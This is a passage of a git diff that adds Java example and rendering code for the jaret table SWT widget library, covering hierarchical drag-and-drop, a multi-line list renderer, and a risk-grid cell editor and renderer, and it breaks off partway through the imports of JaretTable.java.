DummyTableNode("tn1312", "tn1312", "2", "Another third level child")); + + DefaultHierarchicalTableModel dhmodel = new DefaultHierarchicalTableModel(root); + hmodel = dhmodel; + + if (SUPPORT_DND) { + // init the simple drag and drop handling + initDND(_jt, _shell); + } + } + + _jt.setTableModel(hmodel); + StdHierarchicalTableModel model = (StdHierarchicalTableModel) _jt.getTableModel(); + IColumn hcol = new HierarchyColumn(); + // create and setup hierarchy renderer + final TableHierarchyRenderer hierarchyRenderer = new TableHierarchyRenderer(); + hierarchyRenderer.setLabelProvider(new LabelProvider()); + hierarchyRenderer.setDrawIcons(true); + hierarchyRenderer.setDrawLabels(true); + _jt.registerCellRenderer(hcol, hierarchyRenderer); + model.addColumn(hcol); + + model.addColumn(new PropCol("b1", "column 1", "B1")); + model.addColumn(new PropCol("t1", "column 2", "T1")); + model.addColumn(new PropCol("t2", "column 3", "T2")); + model.addColumn(new PropCol("t3", "column 4", "T3")); + + JaretTableActionFactory af = new JaretTableActionFactory(); + + MenuManager mm = new MenuManager(); + mm.add(af.createStdAction(_jt, JaretTableActionFactory.ACTION_CONFIGURECOLUMNS)); + _jt.setHeaderContextMenu(mm.createContextMenu(_jt)); + + MenuManager rm = new MenuManager(); + rm.add(af.createStdAction(_jt, JaretTableActionFactory.ACTION_OPTROWHEIGHT)); + rm.add(af.createStdAction(_jt, JaretTableActionFactory.ACTION_OPTALLROWHEIGHTS)); + _jt.setRowContextMenu(rm.createContextMenu(_jt)); + + TableControlPanel ctrlPanel = new TableControlPanel(_shell, SWT.NULL, _jt); + + Label l = new Label(_shell, SWT.NONE); + l.setText("Level width:"); + final Scale levelWidthScale = new Scale(_shell, SWT.HORIZONTAL); + levelWidthScale.setMaximum(40); + levelWidthScale.setMinimum(0); + levelWidthScale.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent ev) { + int val = levelWidthScale.getSelection(); + hierarchyRenderer.setLevelWidth(val); + _jt.redraw(); + } + }); + + } + + public static void main(String args[]) { + TableHierarchicalExample te = new TableHierarchicalExample(null); + } + + public class LabelProvider implements ILabelProvider { + + public Image getImage(Object element) { + DummyTableNode node = (DummyTableNode) element; + return node.getB1() ? getImageRegistry().get("true") : getImageRegistry().get("false"); + } + + public String getText(Object element) { + DummyTableNode node = (DummyTableNode) element; + return node.getId(); + } + + public void addListener(ILabelProviderListener listener) { + } + + public void dispose() { + if (_imageRegistry != null) { + _imageRegistry.dispose(); + } + } + + public boolean isLabelProperty(Object element, String property) { + return false; + } + + public void removeListener(ILabelProviderListener listener) { + } + + ImageRegistry _imageRegistry; + + public ImageRegistry getImageRegistry() { + if (_imageRegistry == null) { + _imageRegistry = new ImageRegistry(); + ImageDescriptor imgDesc = new ResourceImageDescriptor("/de/jaret/examples/table/true.gif"); + _imageRegistry.put("true", imgDesc); + imgDesc = new ResourceImageDescriptor("/de/jaret/examples/table/false.gif"); + _imageRegistry.put("false", imgDesc); + } + return _imageRegistry; + } + } + + IRow _draggedRow; + ITableNode _parentTableNode; + + /** + * Init a simple drag and drop operation for moving rows in the table. + * + * @param table + * @param parent + */ + private void initDND(final JaretTable table, Composite parent) { + // support move only + int operations = DND.DROP_MOVE; + final DragSource source = new DragSource(table, operations); + + // Provide data in Text format + Transfer[] types = new Transfer[] {TextTransfer.getInstance()}; + source.setTransfer(types); + + source.addDragListener(new DragSourceListener() { + public void dragStart(DragSourceEvent event) { + + // check whether drag occured on the hierarchy column + IColumn column = table.colForX(event.x); + if (column != null && table.isHierarchyColumn(column)) { // TODO check whether a resize may have + // higher priority + // possible row drag + IRow row = table.rowForY(event.y); + if (row != null) { + // row hit, start row drag + _draggedRow = row; + + // capture the data for internal use + // row drag: use row at starting position + _parentTableNode = getParent(table.getHierarchicalModel().getRootNode(), (ITableNode) row); + + } else { + event.doit = false; + } + + } + } + + public void dragSetData(DragSourceEvent event) { + // Provide the data of the requested type. + if (TextTransfer.getInstance().isSupportedType(event.dataType)) { + if (_draggedRow != null) { + event.data = "row: " + _draggedRow.getId(); + } + } + } + + public void dragFinished(DragSourceEvent event) { + // for this simple case we do all the manipulations in the drop + // target + // this is more of a hack ... + _draggedRow = null; + } + + }); + + // //////////////////// + // Drop target + + // moved to the drop target + operations = DND.DROP_MOVE; + final DropTarget target = new DropTarget(table, operations); + + // Receive data in Text + final TextTransfer textTransfer = TextTransfer.getInstance(); + types = new Transfer[] {textTransfer}; + target.setTransfer(types); + + target.addDropListener(new DropTargetListener() { + public void dragEnter(DropTargetEvent event) { + } + + public void dragOver(DropTargetEvent event) { + // event.feedback = DND.FEEDBACK_SELECT | DND.FEEDBACK_SCROLL; + + if (_draggedRow != null) { + // no drag over effect right now + } + } + + public void dragOperationChanged(DropTargetEvent event) { + } + + public void dragLeave(DropTargetEvent event) { + } + + public void dropAccept(DropTargetEvent event) { + } + + public void drop(DropTargetEvent event) { + // this simple drop implementation takes care of the complete + // operation + // this is kind of a hack ... + if (textTransfer.isSupportedType(event.currentDataType)) { + String text = (String) event.data; + System.out.println("DROP: " + text); + + if (_draggedRow != null) { + int destY = Display.getCurrent().map(null, table, event.x, event.y).y; + int destX = Display.getCurrent().map(null, table, event.x, event.y).x; + + IRow overRow = table.rowForY(destY); + if (overRow != null) { + System.out.println("over row " + overRow.getId()); + // this is an action from the drag source listener + // ... + // this has to be done right here because otherwise + // the node would be at two places + // at the same time causing some redraw trouble ... + _parentTableNode.remNode((ITableNode) _draggedRow); + ITableNode node = (ITableNode) overRow; + node.addNode((ITableNode) _draggedRow); + } + } + } + } + + }); + + // Dispose listener on parent of timebar viewer to dispose the + // dragsource and dragtarget BEFORE the timebar + // viewer + // this prevents an exception beeing thrown by SWT + parent.addDisposeListener(new DisposeListener() { + public void widgetDisposed(DisposeEvent e) { + source.dispose(); + target.dispose(); + } + }); + + } + + private ITableNode getParent(ITableNode root, ITableNode draggedRow) { + if (root.getChildren().contains(draggedRow)) { + return root; + } else { + for (ITableNode node : root.getChildren()) { + ITableNode result = getParent(node, draggedRow); + if (result != null) { + return result; + } + } + } + return null; + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/error.gif b/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/error.gif new file mode 100644 index 0000000..ffddd78 Binary files /dev/null and b/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/error.gif differ diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/false.gif b/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/false.gif new file mode 100644 index 0000000..1f7c375 Binary files /dev/null and b/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/false.gif differ diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/information.gif b/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/information.gif new file mode 100644 index 0000000..b4a8cbf Binary files /dev/null and b/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/information.gif differ diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/keyboard.png b/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/keyboard.png new file mode 100644 index 0000000..3924247 Binary files /dev/null and b/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/keyboard.png differ diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/mllist/MultiLineListExample.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/mllist/MultiLineListExample.java new file mode 100644 index 0000000..950c0a9 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/mllist/MultiLineListExample.java @@ -0,0 +1,151 @@ +/* + * File: MultiLineListExample.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.examples.table.mllist; + +import java.util.Date; + +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.jface.resource.ImageRegistry; +import org.eclipse.swt.SWT; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Shell; + +import de.jaret.examples.table.DummyRow; +import de.jaret.util.ui.ResourceImageDescriptor; +import de.jaret.util.ui.console.ConsoleControl; +import de.jaret.util.ui.table.JaretTable; +import de.jaret.util.ui.table.model.DefaultJaretTableModel; +import de.jaret.util.ui.table.model.IJaretTableModel; +import de.jaret.util.ui.table.model.ITableViewState; +import de.jaret.util.ui.table.model.PropCol; +import de.jaret.util.ui.table.model.PropListeningTableModel; +import de.jaret.util.ui.table.renderer.DefaultBorderConfiguration; +import de.jaret.util.ui.table.renderer.DefaultCellStyle; + +/** + * Simple exmaple for demonstrating the use of the jaret table. + * + * @author Peter Kliem + * @version $Id: MultiLineListExample.java,v 1.1 2012-05-07 01:34:39 jason Exp $ + */ +public class MultiLineListExample { + + Shell _shell; + ConsoleControl _consoleControl; + IJaretTableModel _tableModel; + + public MultiLineListExample(IJaretTableModel tableModel) { + _tableModel = tableModel; + _shell = new Shell(Display.getCurrent()); + _shell.setText("jaret table multilinelist"); + createControls(); + _shell.open(); + Display display; + display = _shell.getDisplay(); + _shell.pack(); + _shell.setSize(280, 400); + + /* + * do the event loop until the shell is closed to block the call + */ + while (_shell != null && !_shell.isDisposed()) { + try { + if (!display.readAndDispatch()) + display.sleep(); + } catch (Throwable e) { + e.printStackTrace(); + } + } + display.update(); + } + + JaretTable _jt; + + /** + * Create the controls that compose the console test. + * + */ + protected void createControls() { + GridLayout gl = new GridLayout(); + gl.numColumns = 1; + _shell.setLayout(gl); + + GridData gd = new GridData(GridData.FILL_BOTH); + + _jt = new JaretTable(_shell, SWT.V_SCROLL); + _jt.setLayoutData(gd); + + if (_tableModel == null) { + DefaultJaretTableModel model = new PropListeningTableModel(); + + model.addRow(new DummyRow("r1", "line 1", "line 2 adds more text", true, new Date(), MultiLineListExample + .getImageRegistry().get("icon"))); + model.addRow(new DummyRow("r2", "another first line", "line 2 adds more text", true, new Date(), + MultiLineListExample.getImageRegistry().get("icon"))); + model.addRow(new DummyRow("r3", "and yet another one", "line 2 adds more text", true, new Date(), + MultiLineListExample.getImageRegistry().get("icon"))); + model.addRow(new DummyRow("r5", "4444444444", "line 2 adds more text", true, new Date(), + MultiLineListExample.getImageRegistry().get("icon"))); + model.addRow(new DummyRow("r6", "555555555", "line 2 adds more text", true, new Date(), + MultiLineListExample.getImageRegistry().get("icon"))); + model.addRow(new DummyRow("r7", "6666666666", "line 2 adds more text", true, new Date(), + MultiLineListExample.getImageRegistry().get("icon"))); + model.addRow(new DummyRow("r8", "7777777777", "line 2 adds more text", true, new Date(), + MultiLineListExample.getImageRegistry().get("icon"))); + model.addRow(new DummyRow("r9", "88888888888", "line 2 adds more text", true, new Date(), + MultiLineListExample.getImageRegistry().get("icon"))); + + PropCol ct1 = new PropCol("t1", "column 1", "T1"); + ct1.setEditable(false); + model.addColumn(ct1); + + _tableModel = model; + } + + DefaultCellStyle cs = (DefaultCellStyle) _jt.getTableViewState().getCellStyleProvider().getDefaultCellStyle() + .copy(); + cs.setBorderConfiguration(new DefaultBorderConfiguration(0, 0, 0, 0)); + _jt.getTableViewState().getCellStyleProvider().setColumnCellStyle(_tableModel.getColumn(0), cs); + _jt.getTableViewState().setRowHeightMode(ITableViewState.RowHeightMode.FIXED); + // has to be replaced + for (int i = 0; i < _tableModel.getRowCount(); i++) { + _jt.getTableViewState().setRowHeight(_tableModel.getRow(i), 60); + } + // _jt.getTableViewState().setColumnResizeMode(ITableViewState.ColumnResizeMode.ALL); + + _jt.setHeaderHeight(0); + _jt.registerCellRenderer(_tableModel.getColumn(0), new MultilineListCellRenderer()); + + _jt.setTableModel(_tableModel); + _jt.getTableViewState().setColumnWidth(_tableModel.getColumn(0), 230); + + } + + static ImageRegistry _imageRegistry; + + public static ImageRegistry getImageRegistry() { + if (_imageRegistry == null) { + _imageRegistry = new ImageRegistry(); + ImageDescriptor imgDesc = new ResourceImageDescriptor("/de/jaret/examples/table/mllist/icon.gif"); + _imageRegistry.put("icon", imgDesc); + imgDesc = new ResourceImageDescriptor("/de/jaret/examples/table/keyboard.png"); + _imageRegistry.put("keyboard", imgDesc); + } + return _imageRegistry; + } + + public static void main(String args[]) { + MultiLineListExample te = new MultiLineListExample(null); + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/mllist/MultilineListCellRenderer.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/mllist/MultilineListCellRenderer.java new file mode 100644 index 0000000..a016547 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/mllist/MultilineListCellRenderer.java @@ -0,0 +1,80 @@ +/* + * File: MultilineListCellRenderer.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.examples.table.mllist; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Font; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.printing.Printer; +import org.eclipse.swt.widgets.Display; + +import de.jaret.examples.table.DummyRow; +import de.jaret.util.ui.table.JaretTable; +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IRow; +import de.jaret.util.ui.table.renderer.CellRendererBase; +import de.jaret.util.ui.table.renderer.ICellRenderer; +import de.jaret.util.ui.table.renderer.ICellStyle; + +public class MultilineListCellRenderer extends CellRendererBase implements ICellRenderer { + Font boldFont; + Font normalFont; + + public MultilineListCellRenderer(Printer printer) { + super(printer); + } + + public MultilineListCellRenderer() { + super(null); + boldFont = new Font(Display.getCurrent(), "Arial", 10, SWT.BOLD); + normalFont = new Font(Display.getCurrent(), "Arial", 10, SWT.NORMAL); + } + + public void draw(GC gc, JaretTable jaretTable, ICellStyle cellStyle, Rectangle drawingArea, IRow row, + IColumn column, boolean drawFocus, boolean selected, boolean printing) { + drawBackground(gc, drawingArea, cellStyle, selected, printing); + Rectangle drect = drawBorder(gc, cellStyle, drawingArea, printing); + Rectangle rect = applyInsets(drect); + DummyRow dr = (DummyRow) row; + + Image img = dr.getImg(); + int x = rect.x + 4; + int y = rect.y + (rect.height - img.getBounds().height) / 2; + gc.drawImage(img, x, y); + + Font save = gc.getFont(); + + gc.setFont(boldFont); + gc.drawString(dr.getT2(), rect.x + 70, y + 5); + gc.setFont(normalFont); + gc.drawString(dr.getT3(), rect.x + 70, y + 25); + + gc.setFont(save); + if (drawFocus) { + drawFocus(gc, drawingArea); + } + drawSelection(gc, drawingArea, cellStyle, selected, printing); + + } + + public ICellRenderer createPrintRenderer(Printer printer) { + // TODO Auto-generated method stub + return null; + } + + public void dispose() { + boldFont.dispose(); + normalFont.dispose(); + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/mllist/icon.gif b/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/mllist/icon.gif new file mode 100644 index 0000000..3c2fa1d Binary files /dev/null and b/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/mllist/icon.gif differ diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/package.html b/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/package.html new file mode 100644 index 0000000..e813a0d --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/package.html @@ -0,0 +1,3 @@ + +This package contains sample code for demonstrating the use of the jaret table. + \ No newline at end of file diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/renderer/RiskCellEditor.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/renderer/RiskCellEditor.java new file mode 100644 index 0000000..64fb682 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/renderer/RiskCellEditor.java @@ -0,0 +1,122 @@ +/* + * File: RiskCellEditor.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.examples.table.renderer; + +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.widgets.Control; + +import de.jaret.examples.table.DummyRow; +import de.jaret.examples.table.DummyRow.Risk; +import de.jaret.util.ui.table.JaretTable; +import de.jaret.util.ui.table.editor.CellEditorBase; +import de.jaret.util.ui.table.editor.ICellEditor; +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IRow; + +/** + * CellEditor for a risk. Does only process clicks and key strokes. Keybindings are + *
      + *
    • 'p': roll risk probability
    • + *
    • 's': roll risk severity
    • + *
    + * + * @author Peter Kliem + * @version $Id: RiskCellEditor.java,v 1.1 2012-05-07 01:34:39 jason Exp $ + */ +public class RiskCellEditor extends CellEditorBase implements ICellEditor { + protected boolean _singleClick = false; + + public RiskCellEditor() { + } + + public RiskCellEditor(boolean singleClick) { + _singleClick = singleClick; + } + + public Control getEditorControl(JaretTable table, IRow row, IColumn column, char typedKey) { + if (typedKey == 'p' || typedKey == 'P') { + rollProb(row, column); + } else if (typedKey == 's' || typedKey == 'S') { + rollSeverity(row, column); + } + return null; + } + + /** + * {@inheritDoc} + */ + public void stopEditing(boolean storeInput) { + // nothing to do + } + + public boolean handleClick(JaretTable table, IRow row, IColumn column, Rectangle drawingArea, int x, int y) { + boolean change = checkClick(table, row, column, drawingArea, x, y); + return change; + } + + boolean _forceSquare = true; + + private boolean checkClick(JaretTable table, IRow row, IColumn column, Rectangle rect, int x, int y) { + if (_forceSquare) { + int a = Math.min(rect.width, rect.height); + Rectangle nrect = new Rectangle(0, 0, a, a); + nrect.x = rect.x + (rect.width - a) / 2; + nrect.y = rect.y + (rect.height - a) / 2; + rect = nrect; + } + + if (!rect.contains(x, y)) { + return false; + } + + int width = rect.width; + int height = rect.height; + + int sWidth = (width - RiskRenderer.AXISOFFSET) / 3; + int sHeight = (height - RiskRenderer.AXISOFFSET) / 3; + + int xx = x - rect.x; + int yy = y - rect.y; + int prob = xx / sWidth; + int sev = yy / sHeight; + + if (prob >= 0 && sev >= 0) { + sev = 2 - sev; + Risk risk = ((DummyRow) row).new Risk(prob + 1, sev + 1); + column.setValue(row, risk); + return true; + } + + return false; + } + + private void rollProb(IRow row, IColumn column) { + DummyRow.Risk risk = (Risk) column.getValue(row); + int newProb = risk.getRiskProb() + 1; + newProb = newProb > 3 ? 1 : newProb; + column.setValue(row, ((DummyRow) row).new Risk(newProb, risk.getRiskSeverity())); + } + + private void rollSeverity(IRow row, IColumn column) { + DummyRow.Risk risk = (Risk) column.getValue(row); + int newSev = risk.getRiskSeverity() + 1; + newSev = newSev > 3 ? 1 : newSev; + column.setValue(row, ((DummyRow) row).new Risk(risk.getRiskProb(), newSev)); + } + + /** + * {@inheritDoc} + */ + public void dispose() { + super.dispose(); + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/renderer/RiskRenderer.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/renderer/RiskRenderer.java new file mode 100644 index 0000000..4ab0b59 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/renderer/RiskRenderer.java @@ -0,0 +1,176 @@ +/* + * File: RiskRenderer.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.examples.table.renderer; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.RGB; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.printing.Printer; +import org.eclipse.swt.widgets.Display; + +import de.jaret.examples.table.DummyRow; +import de.jaret.examples.table.DummyRow.Risk; +import de.jaret.util.ui.table.JaretTable; +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IRow; +import de.jaret.util.ui.table.renderer.CellRendererBase; +import de.jaret.util.ui.table.renderer.ICellRenderer; +import de.jaret.util.ui.table.renderer.ICellStyle; + +/** + * Fun renderer rendering a risk as a grid. + * + * @TODO Printing + * + * @author Peter Kliem + * @version $Id: RiskRenderer.java,v 1.1 2012-05-07 01:34:39 jason Exp $ + */ +public class RiskRenderer extends CellRendererBase implements ICellRenderer { + /** offset fo rthe axis rendering. */ + public static final int AXISOFFSET = 0; + private boolean _forceSquare = true; + + private Color _red; + private Color _redInactive; + private Color _green; + private Color _greenInactive; + private Color _yellow; + private Color _yellowInactive; + + private Color _black; + + // private static final RGB INACTIVE_GREEN = new RGB(201, 255, 205); + // private static final RGB INACTIVE_YELLOW = new RGB(255, 255, 200); + // private static final RGB INACTIVE_RED = new RGB(255, 201, 205); + private static final RGB INACTIVE_GREEN = new RGB(220, 255, 220); + private static final RGB INACTIVE_YELLOW = new RGB(255, 255, 220); + private static final RGB INACTIVE_RED = new RGB(255, 220, 220); + + private Color[][] _inactiveColors; + private Color[][] _colors; + + public RiskRenderer(Printer printer) { + super(printer); + if (printer != null) { + _yellow = printer.getSystemColor(SWT.COLOR_YELLOW); + _green = printer.getSystemColor(SWT.COLOR_GREEN); + _red = printer.getSystemColor(SWT.COLOR_RED); + _black = printer.getSystemColor(SWT.COLOR_BLACK); + _redInactive = new Color(printer, INACTIVE_RED); + _yellowInactive = new Color(printer, INACTIVE_YELLOW); + _greenInactive = new Color(printer, INACTIVE_GREEN); + } + Color[][] inactiveColors = { { _yellowInactive, _redInactive, _redInactive }, + { _greenInactive, _yellowInactive, _redInactive }, { _greenInactive, _greenInactive, _yellowInactive } }; + _inactiveColors = inactiveColors; + Color[][] colors = { { _yellow, _red, _red }, { _green, _yellow, _red }, { _green, _green, _yellow } }; + _colors = colors; + } + + public RiskRenderer() { + super(null); + _yellow = Display.getCurrent().getSystemColor(SWT.COLOR_YELLOW); + _green = Display.getCurrent().getSystemColor(SWT.COLOR_GREEN); + _red = Display.getCurrent().getSystemColor(SWT.COLOR_RED); + _black = Display.getCurrent().getSystemColor(SWT.COLOR_BLACK); + _redInactive = new Color(Display.getCurrent(), INACTIVE_RED); + _yellowInactive = new Color(Display.getCurrent(), INACTIVE_YELLOW); + _greenInactive = new Color(Display.getCurrent(), INACTIVE_GREEN); + _black = Display.getCurrent().getSystemColor(SWT.COLOR_BLACK); + Color[][] inactiveColors = { { _yellowInactive, _redInactive, _redInactive }, + { _greenInactive, _yellowInactive, _redInactive }, { _greenInactive, _greenInactive, _yellowInactive } }; + _inactiveColors = inactiveColors; + Color[][] colors = { { _yellow, _red, _red }, { _green, _yellow, _red }, { _green, _green, _yellow } }; + _colors = colors; + } + + public void draw(GC gc, JaretTable jaretTable, ICellStyle cellStyle, Rectangle drawingArea, IRow row, + IColumn column, boolean drawFocus, boolean selected, boolean printing) { + drawBackground(gc, drawingArea, cellStyle, selected, printing); + Rectangle drect = drawBorder(gc, cellStyle, drawingArea, printing); + Rectangle rect = applyInsets(drect); + DummyRow.Risk risk = (Risk) column.getValue(row); + if (_forceSquare) { + int a = Math.min(rect.width, rect.height); + Rectangle nrect = new Rectangle(0, 0, a, a); + nrect.x = rect.x + (rect.width - a) / 2; + nrect.y = rect.y + (rect.height - a) / 2; + rect = nrect; + } + + Color bg = gc.getBackground(); + + int width = rect.width; + int height = rect.height; + + int sWidth = (width - AXISOFFSET) / 3; + int sHeight = (height - AXISOFFSET) / 3; + + // x = prob + // y = severity + for (int x = 0; x < 3; x++) { + for (int y = 0; y < 3; y++) { + Color c = getColor(risk, x, y); + gc.setBackground(c); + int oX = AXISOFFSET + x * sWidth + rect.x; + int oY = rect.y + height - AXISOFFSET - (y + 1) * sHeight; + gc.fillRectangle(oX, oY, sWidth, sHeight); + gc.drawRectangle(oX, oY, sWidth, sHeight); + if (risk != null && risk.getRiskProb() - 1 == x && risk.getRiskSeverity() - 1 == y) { + gc.drawLine(oX, oY, oX + sWidth, oY + sHeight); + gc.drawLine(oX, oY + sHeight, oX + sWidth, oY); + } + } + } + + // // axises + // // x + // gc.drawLine(rect.x + AXISOFFSET, rect.y + height - AXISOFFSET, rect.x + 3 * sWidth + AXISOFFSET, rect.y + + // height - AXISOFFSET); + // // y + // gc.drawLine(rect.x + AXISOFFSET, rect.y + height - AXISOFFSET, rect.x + AXISOFFSET, rect.y + height - + // AXISOFFSET - 3 * sHeight); + + gc.setBackground(bg); + + if (drawFocus) { + drawFocus(gc, drect); + } + drawSelection(gc, drawingArea, cellStyle, selected, printing); + + } + + private Color getColor(Risk risk, int prob, int sev) { + if (risk != null && risk.getRiskProb() - 1 == prob && risk.getRiskSeverity() - 1 == sev) { + return _colors[2 - prob][sev]; + } else { + return _inactiveColors[2 - prob][sev]; + } + } + + public void dispose() { + if (_yellowInactive != null) { + _yellowInactive.dispose(); + } + if (_redInactive != null) { + _redInactive.dispose(); + } + if (_greenInactive != null) { + _greenInactive.dispose(); + } + } + + public ICellRenderer createPrintRenderer(Printer printer) { + return new RiskRenderer(printer); + } +} \ No newline at end of file diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/splash.bmp b/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/splash.bmp new file mode 100644 index 0000000..cce8e26 Binary files /dev/null and b/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/splash.bmp differ diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/true.gif b/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/true.gif new file mode 100644 index 0000000..b492a36 Binary files /dev/null and b/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/true.gif differ diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/warning.gif b/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/warning.gif new file mode 100644 index 0000000..e9d3bb5 Binary files /dev/null and b/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/warning.gif differ diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/JaretTable.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/JaretTable.java new file mode 100644 index 0000000..3c4ad2a --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/JaretTable.java @@ -0,0 +1,4840 @@ +/* + * File: JaretTable.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table; + +import java.beans.PropertyChangeEvent; +import java.beans.PropertyChangeListener; +import java.beans.PropertyChangeSupport; +import java.lang.reflect.Constructor; +import java.util.ArrayList; +import java.util.Collection; +import java.util.Collections; +import java.util.Comparator; +import java.util.Date; +import java.util.HashMap; +import java.util.HashSet; +import java.util.List; +import java.util.Map; +import java.util.Set; +import java.util.Vector; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.events.KeyEvent; +import org.eclipse.swt.events.KeyListener; +import org.eclipse.swt.events.MouseEvent; +import org.eclipse.swt.events.MouseListener; +import org.eclipse.swt.events.MouseMoveListener; +import org.eclipse.swt.events.MouseTrackListener; +import org.eclipse.swt.events.PaintEvent; +import org.eclipse.swt.events.PaintListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.widgets.Canvas; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.swt.widgets.Menu; +import org.eclipse.swt.widgets.ScrollBar; +import org.eclipse.swt.widgets.Shell; + +import de.jaret.util.date.JaretDate; +import de.jaret.util.misc.PropertyObservable; +import de.jaret.util.misc.PropertyObservableBase; +import de.jaret.util.ui.table.editor.BooleanCellEditor; +import de.jaret.util.ui.table.editor.DateCellEditor; +import de.jaret.util.ui.table.editor.DoubleCellEditor; +import de.jaret.util.ui.table.editor.EnumComboEditor; +import de.jaret.util.ui.table.editor.ICellEditor; +import de.jaret.util.ui.table.editor.IntegerCellEditor; +import de.jaret.util.ui.table.editor.TextCellEditor; +import de.jaret.util.ui.table.filter.DefaultAutoFilter; +import de.jaret.util.ui.table.filter.IAutoFilter; +import de.jaret.util.ui.table.filter.IRowFilter; +import de.jaret.util.ui.table.model.DefaultHierarchicalTableViewState; +import de.jaret.util.ui.table.model.DefaultTableViewState; +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IHierarchicalJaretTableModel; +import de.jaret.util.ui.table.model.IHierarchicalTableViewState; +import 